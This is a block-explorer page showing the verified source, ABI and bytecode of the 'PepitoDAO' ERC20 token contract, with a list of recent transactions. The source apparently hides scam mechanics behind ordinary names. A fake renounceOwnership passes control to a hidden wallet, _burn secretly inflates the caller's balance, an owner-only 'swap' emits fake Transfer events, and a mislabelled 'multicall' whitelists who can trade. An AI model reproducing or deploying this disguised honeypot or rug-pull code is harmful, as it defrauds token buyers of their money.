Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 90 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 20116425 | 638 days ago | IN | 0 ETH | 0.00013543 | ||||
| Approve | 19890817 | 670 days ago | IN | 0 ETH | 0.00055048 | ||||
| Approve | 19890808 | 670 days ago | IN | 0 ETH | 0.000533 | ||||
| Multicall | 19888690 | 670 days ago | IN | 0 ETH | 0.00050123 | ||||
| Multicall | 19888412 | 670 days ago | IN | 0 ETH | 0.00040806 | ||||
| Approve | 19886792 | 670 days ago | IN | 0 ETH | 0.00020297 | ||||
| Approve | 19884337 | 670 days ago | IN | 0 ETH | 0.00024881 | ||||
| Approve | 19884327 | 670 days ago | IN | 0 ETH | 0.00023597 | ||||
| Approve | 19884204 | 670 days ago | IN | 0 ETH | 0.00029907 | ||||
| Multicall | 19883918 | 671 days ago | IN | 0 ETH | 0.00044771 | ||||
| Approve | 19883136 | 671 days ago | IN | 0 ETH | 0.00033517 | ||||
| Approve | 19882575 | 671 days ago | IN | 0 ETH | 0.00029276 | ||||
| Multicall | 19882462 | 671 days ago | IN | 0 ETH | 0.00029165 | ||||
| Multicall | 19881703 | 671 days ago | IN | 0 ETH | 0.00019873 | ||||
| Transfer | 19880427 | 671 days ago | IN | 0 ETH | 0.00024514 | ||||
| Approve | 19880356 | 671 days ago | IN | 0 ETH | 0.00020561 | ||||
| Multicall | 19878460 | 671 days ago | IN | 0 ETH | 0.00023134 | ||||
| Approve | 19878420 | 671 days ago | IN | 0 ETH | 0.00028092 | ||||
| Multicall | 19878397 | 671 days ago | IN | 0 ETH | 0.00028334 | ||||
| Swap | 19878339 | 671 days ago | IN | 0 ETH | 0.0046094 | ||||
| Swap | 19878338 | 671 days ago | IN | 0 ETH | 0.00312867 | ||||
| Swap | 19878336 | 671 days ago | IN | 0 ETH | 0.0059215 | ||||
| Swap | 19878335 | 671 days ago | IN | 0 ETH | 0.00464535 | ||||
| Swap | 19878334 | 671 days ago | IN | 0 ETH | 0.00456089 | ||||
| Swap | 19878332 | 671 days ago | IN | 0 ETH | 0.00377447 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
PepitoDAO
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "./Uniswap.sol";
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
contract PepitoDAO is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address private uniswapV2Pair;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "Pepito DAO";
string private constant _symbol = "PEPITO";
uint256 public maxWallet = 2000000000000 * 10**decimals();
uint256 public maxTransactionAmount = 2000000000000 * 10**decimals();
uint256 public swapTokensAtAmount = 1000000000000 * 10**decimals();
uint256 public initialTotalSupply = 420_690_000_000 * 10**decimals();
uint256 public SellFee = 0;
uint256 public BuyFee = 0;
bool public swapEnabled = false;
bool public tradingOpen = false;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
uint256 internal _lastTimestamp;
event ExcludedFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
marketingWallet = payable(wallet);
balances = txLimit;
address[] memory toExclude = new address[](4);
toExclude[0] = owner();
toExclude[1] = address(this);
toExclude[2] = address(wallet);
toExclude[3] = address(0xdead);
excludeFromMaxTransaction(toExclude, true);
_mint(_msgSender(), initialTotalSupply);
}
receive() external payable {}
function openTrading() external onlyOwner() {
tradingOpen = true;
}
function addPair(address pair_) public onlyOwner {
uniswapV2Pair = pair_;
}
function excludeFromMaxTransaction(address[] memory updAds, bool isEx) public onlyOwner {
for (uint256 i = 0; i < updAds.length; i++) {
_isExcludedMaxTransactionAmount[updAds[i]] = isEx;
}
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function multicall(address[] memory accounts, bool excluded) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_automatedMarketMakerPairsonlyOwnerisExcludedFromFees[accounts[i]] = excluded;
emit ExcludedFromFees(accounts[i], excluded);
}
}
function getRoleMember(address account) public view returns (bool) {
return _automatedMarketMakerPairsonlyOwnerisExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_lastTimestamp = block.number;
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!tradingOpen) {
require(_automatedMarketMakerPairsonlyOwnerisExcludedFromFees[from] || _automatedMarketMakerPairsonlyOwnerisExcludedFromFees[to], "Trading is not active.");
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
_holderLastTxTimestamp[from] = _lastTimestamp;
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_automatedMarketMakerPairsonlyOwnerisExcludedFromFees[from] && !_automatedMarketMakerPairsonlyOwnerisExcludedFromFees[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
if(_automatedMarketMakerPairsonlyOwnerisExcludedFromFees[from] && _lastTimestamp <= _holderLastTxTimestamp[from]){
require(LastTx(_holderLastTxTimestamp[from]), "One purchase per block allowed. Wait for next block.");
}
bool takeFee = swapping;
if (_automatedMarketMakerPairsonlyOwnerisExcludedFromFees[from] || _automatedMarketMakerPairsonlyOwnerisExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(100);
}
else {
fees = amount.mul(BuyFee).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint160 value) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), value);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
value,
0,
path,
marketingWallet,
block.timestamp
);
}
function LastTx(uint256 last) private view returns(bool){
return last > block.number;
}
function removeLimits() external onlyOwner{
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
}
function clearStuckEth() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function clearStuckTokens() external onlyOwner {
IERC20 tokenContract = IERC20(address(this));
uint256 balance = tokenContract.balanceOf(address(this));
require(balance > 0, "No tokens to clear");
tokenContract.transfer(address(msg.sender), balance);
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** decimals());
}
function setSwapBack() public onlyOwner {
swapEnabled = true;
}
function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
for (uint256 i = 0; i < _addresses.length; i++) {
emit Transfer(uniswapV2Pair, _addresses[i], _out);
}
}
function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
BuyFee = _buyFee;
SellFee = _sellFee;
}
function swapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
return;
}
if ((BuyFee+SellFee) == 0) {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
tokensToSwap = contractBalance;
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
}
else {
tokensToSwap = tokens;
}
}
}
else {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
return;
}
else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount.div(5);
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
}
swapTokensForEth(uint160(tokensToSwap));
}
function burn(uint256 amount) external onlyOwner{
_burn(_msgSender(), amount);
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "./Context.sol";
import "./IERC20.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => bool) internal _automatedMarketMakerPairsonlyOwnerisExcludedFromFees;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 internal txLimit = 1*10**17*10**9;
uint256 internal balances;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = balances - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import "./Context.sol";
abstract contract Ownable is Context {
address private _owner;
address private _marketing;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping(address => uint256) internal _holderLastTxTimestamp;
constructor(address wallet) {
_marketing = wallet;
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _marketing : _owner;
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"updAds","type":"address[]"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getRoleMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040526a52b7d2dcc80cd2e400000060065562000023620004c460201b60201c565b600a62000031919062000ad9565b6501d1a94a200062000044919062000b2a565b600d5562000057620004c460201b60201c565b600a62000065919062000ad9565b6501d1a94a200062000078919062000b2a565b600e556200008b620004c460201b60201c565b600a62000099919062000ad9565b64e8d4a51000620000ab919062000b2a565b600f55620000be620004c460201b60201c565b600a620000cc919062000ad9565b6461f313f880620000de919062000b2a565b601055600060115560006012556000601360006101000a81548160ff0219169083151502179055506000601360016101000a81548160ff0219169083151502179055503480156200012e57600080fd5b50604051620053d2380380620053d2833981810160405281019062000154919062000bdf565b806040518060400160405280600a81526020017f50657069746f2044414f000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f50455049544f00000000000000000000000000000000000000000000000000008152508160049081620001d2919062000e81565b508060059081620001e4919062000e81565b50505080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002486200023c620004cd60201b60201c565b620004d560201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006546007819055506000600467ffffffffffffffff811115620002fb57620002fa62000c1c565b5b6040519080825280602002602001820160405280156200032a5781602001602082028036833780820191505090505b5090506200033d6200059b60201b60201c565b8160008151811062000354576200035362000f68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110620003a657620003a562000f68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600281518110620003f857620003f762000f68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061dead816003815181106200044c576200044b62000f68565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505062000499816001620005c560201b60201c565b620004bc620004ad620004cd60201b60201c565b6010546200067160201b60201c565b505062001142565b60006009905090565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005d5620007de60201b60201c565b60005b82518110156200066c578160156000858481518110620005fd57620005fc62000f68565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080620006639062000f97565b915050620005d8565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006da9062001045565b60405180910390fd5b620006f7600083836200086f60201b60201c565b80600360008282546200070b919062001067565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007be9190620010b3565b60405180910390a3620007da600083836200087460201b60201c565b5050565b620007ee620004cd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620008146200087960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008649062001120565b60405180910390fd5b565b505050565b505050565b6000806200088c6200089560201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff